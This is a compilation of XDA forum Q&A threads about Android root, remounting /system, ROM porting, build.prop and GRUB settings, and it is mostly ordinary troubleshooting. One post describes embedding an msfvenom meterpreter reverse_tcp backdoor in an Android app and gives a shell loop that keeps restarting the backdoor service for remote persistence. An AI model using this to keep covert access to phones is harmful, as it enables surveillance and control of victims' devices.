Devices: Samsung A125F and Samsung A8 Star
Terminal commands that have been run: mount -o rw,remount / (but reports read only)
Why does Android 9+ default Android root system ro and that hard to be remounted rw?
And what patches will be helpful for doing so when terminal fails?
This also makes build.prop and fstab prevented to be written
Hi @hd_scania you can try my SystemRW / SuperRW featuring MakeRW script. Also keep in mind I am working on brand new version which will be released very soon!
To make it work in Android 12 you can simply open the file systemrw.sh with text editor and comment out line number 415 by adding comment symbol ( # ) in front. It should look like this #sdkCheck. Now save file and run script as usual. Please show me your log afterwards. Thanks. Good luck!
Wait a second you are running Android 9 ? Please keep in mind my script was designed for Android 10 and later!
In Android 9 and earlier by default you should be able to remount your partitions as rw without any problems as long as your device is rooted.
I instead flashed the VNDK edition of the Lineage 19.x GSI (i.e. I’m running Android 12, system rw/ro is ultimately GSI dependent), and now system becomes RW
hd_scania said:
Devices: Samsung A125F and Samsung A8 Star
Terminal commands that have been run: mount -o rw,remount / (but reports read only)
Why does Android 9+ default Android root system ro and that hard to be remounted rw?
And what patches will be helpful for doing so when terminal fails?
This also makes build.prop and fstab prevented to be written
Click to expand...
Click to collapse
@hd_scania
Prior to your next posting please read the guidances that are stuck on top of every forum like
Note: Questions go in Q&A Forum
If you are posting a Question Thread post it in the Q&A forum. Technical discussion of Android development and hacking. No noobs, please. Device-specific releases should go under the appropriate device forum...
forum.xda-developers.com
and the others. I've moved the thread to Android Q&A as it didn't qualify for development.
Thanks for your cooperation.
Regards
Oswald Boelcke
Senior Moderator
Related
Q&A for [GUIDE][LINUX][MIUI] MIUI PatchROM -- BUILD YOUR OWN MIUI ROM
Some developers prefer that questions remain separate from their main development thread to help keep things organized. Placing your question within this thread will increase its chances of being answered by a member of the community or by the developer.
Before posting, please use the forum search and read through the discussion thread for [GUIDE][LINUX][MIUI] MIUI PatchROM -- BUILD YOUR OWN MIUI ROM. If you can't find an answer, post it here, being sure to give as much information as possible (firmware version, steps to reproduce, logcat if available) so that you can get help.
Thanks for understanding and for helping to keep XDA neat and tidy!
[MIUI PATCHROM for WALTON PrimoF2[How to solve this??Please somebody help me...
Code:
[email protected]:~$ cd patchrom
[email protected]:~/patchrom$ . build/envsetup.sh
PATCHROM_BRANCH = jellybean42-mtk
ANDROID_PLATFORM = v17
PORT_ROOT = /home/atiq/patchrom
ANDROID_TOP =
ANDROID_OUT =
PORT_PRODUCT = Unknown
USE_ANDROID_OUT =
ANDROID_BRANCH =
[email protected]:~/patchrom$ cd primof2
bash: cd: primof2: No such file or directory
[email protected]:~/patchrom$ mkdir primof2
[email protected]:~/patchrom$ cd primof2
[email protected]:~/patchrom/primof2$ /home/atiq/patchrom/tools/releasetools/ota_target_from_phone -n
Wait for the device to be online...
Copy target file template into current working directory
Warning: the ota package will not contain bootimage!!!
Maybe you forget to pass the ota-package parameter.
Are you sure this is really what you want(yes/no):yes
Build recovery.fstab from device
Extract the whole /system from device
pull: building file list...
1423 files pulled. 0 files skipped.
2943 KB/s (570754099 bytes in 189.331s)
Remount /system to be writable
You don't have a rooted kernel. Please run the following command mannually
(1) adb shell
(2) su
(3) mount -o remount,rw /[email protected] /system
(3) chmod 0777 /system /system/*
If you finish running the above commands on your phone(yes/no):yes
/system/xbin/getfilesysteminfo: No such file or directory
Run getfilesysteminfo to build filesystem_config.txt
125 KB/s (5572 bytes in 0.043s)
Run getfilesysteminfo and recoverylink.py to recover symlink
Recovery link files success
Build apkcerts.txt
failed to copy '/data/system/packages.xml' to '/home/atiq/patchrom/primof2/out/target_files/packages.xml': Permission denied
Error: /home/atiq/patchrom/primof2/out/target_files/packages.xml doesn't exist or isn't a vaild xml file
rm: cannot remove ‘/home/atiq/patchrom/primof2/out/target_files/packages.xml’: No such file or directory
Generate metadata used to build target files...
Compress the target_files dir into zip file
/home/atiq/patchrom/primof2
Build full ota package: /home/atiq/patchrom/primof2/stockrom.zip
unzipping target target-files...
using device-specific extensions in .
unable to load device-specific module; assuming none
[MIUI CUST] OTA: copy data files
[MIUI CUST] OTA: handle relink
[MIUI CUST] OTA: SetPermissions
Picked up JAVA_TOOL_OPTIONS: -javaagent:/usr/share/java/jayatanaag.jar
done.
[email protected]:~/patchrom/primof2$
Where should I put the bellow commands
Code:
You don't have a rooted kernel. Please run the following command mannually
(1) adb shell
(2) su
(3) mount -o remount,rw /[email protected] /system
(3) chmod 0777 /system /system/*
If you finish running the above commands on your phone(yes/no):
here?? After this line?? Here I have only two option to input "yes" or "no" in this shell. Otherwise it shows too many arguments. Please tell me where to put those commands exactly?? another question: Is everything OK there except "packages.xml". I manually copied the packages.xml file from my device and paste it to target_files then zipped it. Will it work?? Please help..
Anyone here successfully booted miui 8 on MTK 32 bit kernel 3.18.19 can help me with bootloop!?
I already built the rom based on AOSP android one but it bootloops
Mysteryagr said:
Anyone here successfully booted miui 8 on MTK 32 bit kernel 3.18.19 can help me with bootloop!?
I already built the rom based on AOSP android one but it bootloops
Click to expand...
Click to collapse
Hook it up and run a log at on your pc. That will tell you what is bootlooping. It that should have been the first hinges you did. It is rom building basics
zelendel said:
Hook it up and run a log at on your pc. That will tell you what is bootlooping. It that should have been the first hinges you did. It is rom building basics
Click to expand...
Click to collapse
Thank you for your reply.
I already did that, and yes I edited defualt.prop inside the ramdisk to enable logcat during bootloop.
I have ported many roms, and also built some from source, and I noticed that I can only take logcat in bootloop if the rom is partially booted, notification led lights in red as a sign of that.
In Miui case the led doesn't light up, also I noticed that no space occupied in data partition (except for the extracted miui apps)
So I guess something prevent the rom to start and optimize any app, maybe it is the boot.img
If someone booted miui on MTK 32 bit chipset and MM kernel 3.18.19 can help me, I will be very thankful.
My device is Infinix Hot 2 running Android one 6.0 marshmallow, chipset: MT6580
Thanks in advance.
Mysteryagr said:
Thank you for your reply.
I already did that, and yes I edited defualt.prop inside the ramdisk to enable logcat during bootloop.
I have ported many roms, and also built some from source, and I noticed that I can only take logcat in bootloop if the rom is partially booted, notification led lights in red as a sign of that.
In Miui case the led doesn't light up, also I noticed that no space occupied in data partition (except for the extracted miui apps)
So I guess something prevent the rom to start and optimize any app, maybe it is the boot.img
If someone booted miui on MTK 32 bit chipset and MM kernel 3.18.19 can help me, I will be very thankful.
My device is Infinix Hot 2 running Android one 6.0 marshmallow, chipset: MT6580
Thanks in advance.
Click to expand...
Click to collapse
To be honest I have no other ideas. Devices with that chip maker are not sold in my country.
@zelendel
What is the difference between
make firstpatch
Click to expand...
Click to collapse
and
make second patch
Click to expand...
Click to collapse
?
Mysteryagr said:
@zelendel
What is the difference between
and
?
Click to expand...
Click to collapse
I don't know. To be honest I wouldn't touch miui with a 10 foot pole personally.
[Q] Where are /system/build.prop and /vendor/build.prop stored on the ADB shell side on Lineage 19.x GSI’s?
https://stackoverflow.com/questions/71506755 Where to find /system/build.prop and /vendor/build.prop from my ADB shell on Lineage 19.x? I checked every similar guides, but their corresponding Android API’s are always pre-Treble :( I forgot to add...
forum.xda-developers.com
Code:
My device is a Samsung A125F starting with 10
Where to find /system/build.prop and /vendor/build.prop from my ADB shell on Lineage 19.x?
I also checked everything inside the ADB shell, there isn’t even a single file named build.prop, then i have no access to the ROM, but only access to TWRP, ADB, and Fastboot, so how to correct /system/build.prop and /vendor/build.prop without explicitly seeing their existence?
I fianlly checked every similar guides, but their corresponding Android API’s were always pre-Treble
I forgot to add emulator from the line ro.build.characteristics, when add this line becomes,
Code:
ro.build.characteristics=tablet,emulator
And without emulator on this line my GSI ROM is dead, that’s an GSI requiring one of the characteristics to be an emulator to function
hd_scania said:
[Q] Where are /system/build.prop and /vendor/build.prop stored on the ADB shell side on Lineage 19.x GSI’s?
https://stackoverflow.com/questions/71506755 Where to find /system/build.prop and /vendor/build.prop from my ADB shell on Lineage 19.x? I checked every similar guides, but their corresponding Android API’s are always pre-Treble :( I forgot to add...
forum.xda-developers.com
Code:
My device is a Samsung A125F starting with 10
Where to find /system/build.prop and /vendor/build.prop from my ADB shell on Lineage 19.x?
I also checked everything inside the ADB shell, there isn’t even a single file named build.prop, then i have no access to the ROM, but only access to TWRP, ADB, and Fastboot, so how to correct /system/build.prop and /vendor/build.prop without explicitly seeing their existence?
I fianlly checked every similar guides, but their corresponding Android API’s were always pre-Treble
I forgot to add emulator from the line ro.build.characteristics, when add this line becomes,
Code:
ro.build.characteristics=tablet,emulator
And without emulator on this line my GSI ROM is dead, that’s an GSI requiring one of the characteristics to be an emulator to function
Click to expand...
Click to collapse
@hd_scania
Prior to your next posting please read the guidances that are stuck on top of every forum like
Note: Questions go in Q&A Forum
If you are posting a Question Thread post it in the Q&A forum. Technical discussion of Android development and hacking. No noobs, please. Device-specific releases should go under the appropriate device forum...
forum.xda-developers.com
I've moved the thread to Android Q&A but also closed this thread as it's a duplicate of the one you've linked at the top of your OP.
Please review the XDA Forum Rules with special emphasis on rule no. 5 and post only ONCE!
Thanks for your cooperation.
Regards
Oswald Boelcke
Senior Moderator
Hi,
I am using msfvenom, on Kali, to embed a payload in an app.
When the app launches it starts the backdoor reverse_tcp service which connects to my session.
Once I have a meterpreter session I try to run a shell script, in the background, to constantly try and reconnect when/if the app closes.
This is a method suggested in may places, e.g. Android persistent script
All the examples I found refer to a stand-alone payload, not an embedded one.
To run the embedded service you need to use
Code:
am startservice --user 0 ...
After uploading my script to the android, I try and run my script on a meterpreter session line this:
Code:
>shell
>sh persistent.sh
>CTRL + C
>ENETR
For testing I created a simple running script
Code:
#!/bin/bash
for i in `seq 100`
do
echo $i
let j=$i-1
oldFile="xtest$j"
newFile="xtest$i"
#echo $oldFile
if [ -f "$oldFile" ]; then
rm $oldFile
fi
am startservice --user 0 by.dustteam.hangman/.lnyec.Mhxvk
touch $newFile
sleep 5
done
As long as the app is running, I see that the script is running, however when I close the app the script terminates.
I am testing on android 10.
Can I, and if yes how, generate a persistent script to keep trying to establish a connection, or do this in any other way?
I need to do this remotely of course, assuming I do not have physical access to the android device.
Thanks
dandan21 said:
Can I, and if yes how, generate a persistent script to keep trying to establish a connection, or do this in any other way?
Click to expand...
Click to collapse
@dandan21
Prior to your next posting please read the guidances that are stuck on top of every forum like
[ATTN] : Read before posting - Any questions posted here will be MOVED or CLOSED
Please read the below before posting. Any questions not development related will be moved or closed. Forum Searching | Posting | The Basics: (Make sure you've read them before starting a new thread) Forum Rules Forum Search Google Forum...
forum.xda-developers.com
and the others. Your thread doesn't qualify for a development section. I've moved the thread to Android Q&A.
Thanks for your cooperation.
Regards
Oswald Boelcke
Senior Moderator
Hello everyone,
Glad to be here! This is my first time posting on the forum, I apologise in advance if I inadvertently break any rules.
I have installed Android x86 9.0_r2 in a virtual machine using the virt-manager application (QEMU/KVM connection) on Ubuntu 22.04, and I installed it using the ISO and manually selecting the OS as Android x86 9.0. Upon booting, I see a Trusted GRUB 1.1.5 menu and I am able to boot Android x86.
However, my resolution is stuck in 1024x768, and I have to manually edit the GRUB entry and add 'vga=914' after the kernel option to boot with a resolution of 1920x1080.
I read some forum posts stating that the GRUB boot options are located in either a 'menu.lst' file or an 'Android.cfg' file, so I opened the terminal emulator and ran the following commands to find these files in the root directory or sub directories. I also searched for the GRUB directory directly.
su
find / -iname menu.lst -type file -mindepth 100
find / -iname android.cfg -type file -mindepth 100
find / -iname grub -type directory -mindepth 100
However, these commands did not yield any results. So I decided to use grep to try and find the statements present in the boot commands in any of the files present in the system. I decided to search for the statement "root=/dev/ram0", so I ran the following commands to run grep recursively and print the filename where the given text occurs, ignoring errors and binary files:
su
grep --exclude-dir /proc -sIrl "root=/dev/ram0" /
This search took too long, so I narrowed my search to the term "ram0" and checked individual directories instead. However, there were no readable text files containing the boot menu configuration.
Am I making a mistake in any of these commands? Where is the GRUB configuration file located? Please feel free to ask for any additional information to troubleshoot this problem.
Thank you in advance for your help and have a nice day.
kb_android_x86 said:
Hello everyone,
Glad to be here! This is my first time posting on the forum, I apologise in advance if I inadvertently break any rules.
Click to expand...
Click to collapse
Hello and good morning, @kb_android_x86
Welcome to XDA. I hope you'll always get the support you require.
However, prior to your next posting please read the guidances that are stuck on top of every forum like
[Read Before Posting]QUESTIONS DO NOT BELONG IN GENERAL
Hello Everybody, In order to attempt to keep this forum neat and tidy the moderation team is asking you to post your questions into the Questions and Answers (Q&A) forum and not into the General section. You can find the Q&A forum by clicking...
forum.xda-developers.com
and the others. I've moved your thread to Android Q&A.
Thanks for your cooperation!
Regards
Oswald Boelcke
Senior Moderator
Hello everyone,
I have found the solution to this problem.
To access the GRUB configuration files, you must boot Android x86 in Debug mode, and then type the following commands into the terminal:
mount -o remount rw /mnt
cd /mnt/grub
vi menu.lst
Then you can edit the GRUB configuration permanently. I am unsure why these files are hidden when booting Android x86 normally, even when I browse the filesystem with root privileges enables.
Hi everyone!
How can I get the bootloader unlock code? I wrote to Huawei and they wrote: "..., Huawei has decided to terminate the unlock code application service, the unlock code application service was terminated. ..."
Is it possible to unlock the bootloader without a code or get it somehow (for free)?
I extracted the boot file and edited the fstab file, like this, but I don't know what it's good for: (
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09)
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09) On Huawei website: http://consumer.huawei.com/en/tablets/mediapad-t3-10/ ROM stock: AGS-W09: AGS-W09_AGSW09C233B215 AGS-L09: AGS-L09_AGSL09C233B216 Custom Recovery: In English: TWRP...
forum.xda-developers.com
)
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check, fileencryption
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check
(deleted the "fileencryption" part)
What happens if I flash the modified boot file?
NayemUM said:
Hi everyone!
How can I get the bootloader unlock code? I wrote to Huawei and they wrote: "..., Huawei has decided to terminate the unlock code application service, the unlock code application service was terminated. ..."
Is it possible to unlock the bootloader without a code or get it somehow (for free)?
I extracted the boot file and edited the fstab file, like this, but I don't know what it's good for: (
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09)
Huawei MediaPad T3 10 (AGS-W09 & AGS-L09) On Huawei website: http://consumer.huawei.com/en/tablets/mediapad-t3-10/ ROM stock: AGS-W09: AGS-W09_AGSW09C233B215 AGS-L09: AGS-L09_AGSL09C233B216 Custom Recovery: In English: TWRP...
forum.xda-developers.com
)
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check, fileencryption
/ dev / block / bootdevice / by-name / userdata / data f2fs nosuid, nodev, noatime, discard, inline_data, inline_xattr wait, check
(deleted the "fileencryption" part)
What happens if I flash the modified boot file?
Click to expand...
Click to collapse
Hello and good afternoon, @NayemUM Welcome to XDA! I hope you'll always get the support you require.
However, prior to your next posting please read the guidances that are stuck on top of every forum like
[Read Before Posting]QUESTIONS DO NOT BELONG IN GENERAL
Hello Everybody, In order to attempt to keep this forum neat and tidy the moderation team is asking you to post your questions into the Questions and Answers (Q&A) forum and not into the General section. You can find the Q&A forum by clicking...
forum.xda-developers.com
and the others. I've moved your thread to Android Q&A.
Thanks for your cooperation!
Regards
Oswald Boelcke
Senior Moderator